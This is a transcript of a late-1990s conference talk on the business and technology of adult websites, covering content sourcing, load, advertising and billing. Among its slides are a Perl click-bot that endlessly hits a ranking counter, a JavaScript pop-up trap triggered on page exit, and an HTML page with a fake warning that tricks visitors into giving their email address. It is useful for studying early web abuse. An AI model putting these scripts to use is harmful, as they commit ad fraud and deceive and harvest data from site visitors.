darkside

Succumbing to theDark Side of the Force: 

Succumbing to the Dark Side of the Force The Internet as seen from an Adult Website Dan Klein <dvk@erotika.com>

Fundamental Premises: 

Fundamental Premises This talk will be as “gender neutral” as possible This talk will be rated PG-13 I am not using this forum to espouse any particular set of moral values Morality is left to your conscience Ethics is left to philosophers I’m talking business, technology, and money

Morality: 

Morality Which would you rather I do? Peddle smut Be a Compaq or used car salesman The sex trade is arguably the world’s oldest profession So why break with tradition?

Yes, my mother knowswhat I do for a living!: 

Yes, my mother knows what I do for a living! So does my wife, sister, neighbors, colleagues – and now you do, too…

So, Who Does This Stuff, Anyway?: 

So, Who Does This Stuff, Anyway? Slimeballs – gold chains and polyester The Trenchcoat set Guests on Leeza Big business Ordinary people

The Adult Industry: 

The Adult Industry First tier (producers) Film companies, magazines, writers Semi-pros and self-promoting amateurs Toy manufacturers Streetwalkers, nudie bars, “massage parlors” Second tier (resellers) Ye olde smut shoppe – magazines, videos, toys Web resellers – legitimate and otherwise Phone sex

Phone Sex: 

Phone Sex A surprisingly large business Get an adult magazine, and look in the back… Not as successful with the PC set, but the human voice is a powerful magnet 1-900, 976, and credit card by-the-minute The new area codes are a boon to phone sex “Free calls, only LD rates apply” So where is area code 809, anyway?

Web Resellers: 

Web Resellers Still Pictures Original content Scanned Video Canned Streaming Live Ye Olde Electronic Smutte Shoppe

How Did I Get Into The Biz?: 

How Did I Get Into The Biz? Started by selling links to smut sites via First Virtual InfoHaus A friend ran digits.com web counter He sold ads on his Top-10 pages He suggested I create a picture of the day site I eventually created member site Teamed up with a local photographer, videographer, and talent agent

Not a Pretty Picture: 

Not a Pretty Picture Videographer and talent agent tried to steal the company They embezzeled company funds… They sued me, I sued myself I won both cases :-) Mud slinging, headaches, lost income Things are not as rosy as 2 years ago…

What is out there?: 

What is out there? If it can be done to, with, on, in, or around the human body, there’s a site for it… Straight, gay, lesbian, solo, transsexual, transgender B&D, S&M, Q&A Hardcore, softcore, pictures, text, sound, movies Bestiality, pædophilia, coprophagia, and all manner of fetishes and paraphiliæ All the world’s queer save thee and me And I’m not too sure about thee…

Let’s Talk About “Product”: 

Let’s Talk About “Product” If you’re looking for smut, the product is interesting If you’re in the biz, product is boring “If you’re in the adult business for any reason other than the money, you’re in the wrong business” Chocolate shop analogy Ice cream shop analogy

So how much money can you make?: 

So how much money can you make? Melissa Wolf (Penthouse Pet) Persian Kitty, Danni Ashe Alex Delean Hugh Hefner, Bob Guccione, Larry Flynt ClubLove, NetPics, UltraPics Me

How does one get “Product”?: 

How does one get “Product”? Scanned from magazines Illegal and a violation of international copyright laws, and we don’t do it. Really. No, really! Video capture Garnered from newgroups Stolen from other sites Original content

Scanning from Magazines: 

Scanning from Magazines Playboy Hustler Penthouse Private others

Garnered from Newsgroups: 

Garnered from Newsgroups Reading the groups Horribly time consuming (chocolate shop…) Using an automatic unburster Bandwidth and time consuming Newsgroup  Web server Netpics, ultrapics Copyright issues Common carrier legislation

Stolen from Other Sites: 

Stolen from Other Sites Webmirroring Snatch and trim Bandwidth thieves

Original Content: 

Original Content Relatively easy to do Rather hard to do well Photographer, director, lighting, makeup, sets, backdrops, costumes, props Models are easy to come by if you have connections Release forms, medical checks, boyfriends… Reliable models are another story altogether

Copyright Protection: 

Copyright Protection The word “Copyright” or the symbol “©” are all you legally need on an image (or collection) That is, in theory… It is a fact of life that people steal pictures They don’t often view it as theft Digital transmittal has made protection hard and enforcement harder Varying degrees of marking images as owned

So Where Do We Get Ours?: 

So Where Do We Get Ours? Half our sites are original content sites All softcore Legally easier to deal with Half our sites are Usenet images Huge volume of images Often blocked by major ISPs So, how do we deal with copyrights?

But What About Perl?: 

But What About Perl? I work on the sites about 5-15 minutes a day Automation: Member join / cancel scripts Retransmittal scripts Hourly / daily / weekly / monthly / quarterly status scripts Intrusion detection scripts Why work for a living?

Server Load Issues: 

Server Load Issues Load reduction Load sharing Load shedding Load boosting Load stealing

Load Reduction: 

Load Reduction JPEG vs. GIF Image quality vs. browser abilities Image size vs. screen size Cache images, not pages Noise files

Load Sharing: 

Load Sharing What happens when the load on one server goes through the roof? Load sharing is a way of splitting the load amongst multiple servers Round-robin DNS is typical In practice, few adult servers bother

Mainstream Sites - 1 week use: 

Mainstream Sites - 1 week use

Adult Sites - 1 day use: 

Adult Sites - 1 day use

Adult Sites - 1 week use: 

Adult Sites - 1 week use

Adult Sites - 1 month use: 

Adult Sites - 1 month use

Load Shedding: 

Load Shedding Load Shedding is when a “front-end” server hands off to a “back-end” server Two common methods: Front page points to a dynamically determined server that handles all but first request Front-end server connects to back-end server on a different network (e.g., 10.0.x.y)

Load Boosting – Javascript Slamming: 

Load Boosting – Javascript Slamming Pages have Javascript that opens other pages in new windows Can be done with onLoad methods, or just part of a simple script Opens often cascade – one page I surveyed opened 23 new browser windows Page loads means higher placement in Top-10 onUnload methods also used – no escape!

Slide31: 

<html> <head><title>Rudeness!</title></head> <script language="javascript"> <!-- var exit = true; function unload() { if (exit) window.open('http://www.ibp.com/pending/ruder.html', '_blank'); } //--> </script> <body onUnload="unload()"> <h1>Try and get rid of me!</h1> </html>

Load Boosting - Stupidity: 

Load Boosting - Stupidity Some sites use Java to load images Others use CGI scripts to fetch images from “hidden” locations Form submission per image Tables, Cascading Style Sheets, etc.

Load Stealing – Obvious: 

Load Stealing – Obvious One server has pages which has <IMG> tags that point to another server My page has the text (and most importantly, the click-through banner ads) Your machine gives me the images on my page Servers with static images are most vulnerable to this “bandwidth theft”

Load Stealing – Subtle: 

Load Stealing – Subtle <META> tag hijacking Put a popular name (e.g., “Playboy” or “Persian Kitty”) in your meta tags Search-spider spoofing Content spoofing Keyword spoofing Domain name spoofing

Domain Names are Gold: 

Domain Names are Gold A good domain name is worth real money shopping.com reportedly sold for $750,000 pittsburgh.com sold for $10,000 sex.com sold for millions klein.com is worth at least $250,000 A well spoofed name is worth money, too A domain name and it’s content are usually inseparable

Top-10 Lists and Consoles: 

Top-10 Lists and Consoles Not a measure of popularity – they make popularity! The higher you are on a list, the more hits you get Javascript slamming raises your position “legally” Click-bots and load-bots also do wonders Once you’re up on top, you stay on top Bottom feeders are really just food

Click-bots: 

Click-bots #!/usr/bin/perl use HTTP::Request; use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("Mozilla/3.01 (CacheFlow-Cache/1.1 - 10787.R)"); $req = new HTTP::Request(GET => "http://sex.com/count/143"); $req->header(accept => '*/*'); while (1) { $response = $ua->request($req); sleep int rand 15; }

Top-10’s – Raison d’être: 

Top-10’s – Raison d’être Every time you visit my site, you also hit the Top-10 list via Javascript or <IMG> tag They provide a rating service at no charge They have lots of load and no product to sell So how do they make money? One word: Advertisements!

Advertisements Fuel the Market: 

Advertisements Fuel the Market Free sites give away 1–N images, sell ads Consoles list you for free, sell ads Link sites list you for free, sell ads Search engines list you for free, sell ads Not purely an adult-market phenomenon (Lycos, AltaVista, Google, WebCrawler…)

Ads are sold in many ways: 

Ads are sold in many ways Per impression – best for provider Usual approach for “legitimate” sites Per click – a (sometimes) fair middle ground Prices range from 2.5¢ – 18¢ per click Raw click-through rate is O(15%) Click-bots burn everyone Per sale – best for advertiser Usually 50–200% of first sale, not renewals When renewals are involved, rate drops to 20-50%

Internet vs. Magazine Ads: 

Internet vs. Magazine Ads Immediacy of feedback Can track impressions, clicks, and buys Micro-transactions No need to run them for a week/month Highly directed Per page or keyword based

What kind of ads work?: 

What kind of ads work? In the non-adult market, two kinds: Directed ads with clear statement of purpose “Whuzzat?” In the adult market, explicit is best Directed – advertise in a similar market Be (or appear to be) honest Good ads violate textual layout rules Motion, blinking, color, cropping, break the box

Ads vs. Subscription Sales: 

Ads vs. Subscription Sales Magazines range from O(20-95%) ads Time, Newsweek  Vogue, Elle Websites (should) limit the number ads But usually they don’t Both magazines and websites have the motivation to expose the ads Advertisers want to sell their product! Ad efficiency

Slide44: 

<html> <head><title>Mail thief!</title></head> <body> <form name=sneaky action="/pending/nph-redirect.cgi" method="POST"> <input type=hidden name=address><input type=hidden name=URL> <p>Once the user submits the data, a CGI script will be called with their typed-in address and the URL of the page they were on that had the JavaScript, and that CGI script will capture the address and redirect the user right back to this page, with a slightly different URL - in the redirect case, a "?" is appended to the end. The JavaScript detects this redirection, and display the page without the dialogue box. <script language="javascript"> <!-- s = self.location.search; if (s == null || s.substring(s.length-1) != "?") { document.sneaky.URL.value = document.URL; document.sneaky.address.value = prompt("Warning: It appears that an attempt has been\n" + "made to corrupt your email address. Please\n" + "type in your email address (name@host.dom) to\n" + "confirm your access rights to your browser."); if (document.sneaky.address.value != "null" && document.sneaky.address.value != "undefined" && document.sneaky.address.value != "") document.sneaky.submit(); } //--> </script> <h1>Here is the real page</h1> <address><input type=submit value="">The Sneak<input type=submit value=""></address> </form> </html>

What Sells?: 

What Sells? The same old stuff CD-images (Z-Master, et. al.) Newsgroup  web conversion Original or directed content New faces “Amateurs”, local photographers “Gee-whiz” factor Niche marketing (tickle someone’s kink)

“What sells” may not matter: 

“What sells” may not matter Lots of adult sites with no product! Persian Kitty Naughty Links Many sites with ads and alleged content… What draws clicks is what matters

Other Ways to Make Money: 

Other Ways to Make Money Original ideas are hard to come by Link Collections Search Engines Adult Verification Systems Video Streaming, Web Cams realdoll.com

Running the Site – Human Factor: 

Running the Site – Human Factor First and foremost, you’re in a service industry Develop the proper attitude – smile – the customer is almost always right No matter how moronic, rude, or threatening AOL users are largely ignorant – plan for it Some users are smart – listen to them! Your server software and logs are your friends Don’t throw data away Historical data helps you plan for the future

Site Automation: 

Site Automation Do you want to update your site daily? Our sites are 80-100% automated Original contents sites are 80% automated New images need to be shot (but rarely scanned any more) Enrollment, sales, and tracking is automatic USENET contents sites are 100% automated Data mining is still manual Memberships, advertisement, updates, all full-auto Some other sites are manually driven

Security: 

Security Get it right the first time! Good passwords are a must Force your customers to use them, too Password theft (and publication!) is rampant Firewalls are a must Predictability is bad Free software is often a security disaster

Keeping the Kids Out: 

Keeping the Kids Out You can’t do it! (But try anyway) Due diligence is the next best thing Javascript warnings Age-screen front door Fraud on your part is not negligence on mine Advertise NetNanny, CyberSitter, etc.

Avoiding the Law – The Right Way: 

Avoiding the Law – The Right Way Be nice Use only original content, or buy licenses Have signed model releases with proof of age Videotape everything Don’t tempt fate Incorporate (and don’t be an officer) Co-own your house Have a good attorney & know the law yourself Move your operation offshore

Avoiding the Law – The Usual Way: 

Avoiding the Law – The Usual Way Avoid blatant copyright violations Be honest Encourage and listen to cease-and-desist orders If they look too young, they are too young Don’t tempt fate Know a good attorney

Keeping Your “Friends” Away: 

Keeping Your “Friends” Away Always use email aliases on your site Avoid webmaster@yoursite.com Have good anti-spam filters Use email aliases on your NIC records Avoid mailto links

Getting Hits: 

Getting Hits Really old days – create a site, and people will come to it No publicity ≠ no knowledge Accidental popularity Old days – “hey, let’s trade links” Today – advertisements, spamming, Top-10 lists, circles of traffic, usenet postings

Getting Paid: 

Getting Paid Credit cards Do-it-yourself Billing services Recurring billing 900 numbers First Virtual (ancient history) Microtransaction

Getting Screwed: 

Getting Screwed Banner Ads Non-payment Late payment “Uniques” and other trimming techniques Console slamming Your images, their ads

Ruminations on the Present: 

Ruminations on the Present Sex is natural, sex is healthy, sex is good Repression of sexuality causes perversions By and large, the adult industry is providing a theraputic vehicle to people in need Patrons of the business are largely healthy, normal people doing healthy, normal things. And who am I (or you) to say what is normal?

Ruminations on the Future: 

Ruminations on the Future The sex trade is here to stay Major advances in software algorithms and image manipulation have been drive by it The “feelies” of Aldous Huxley’s Brave New World are not far away Adverse legislation will only drive it underground, making it dangerous It will always be worth a lot of money

Conclusions: 

Conclusions Draw your own! The adult industry is not for everyone Many people purchase Far fewer sell Fewer still provide The adult industry is not going away

Copies of this talk available at:: 

Copies of this talk available at: http://www.klein.com/dvk/publications/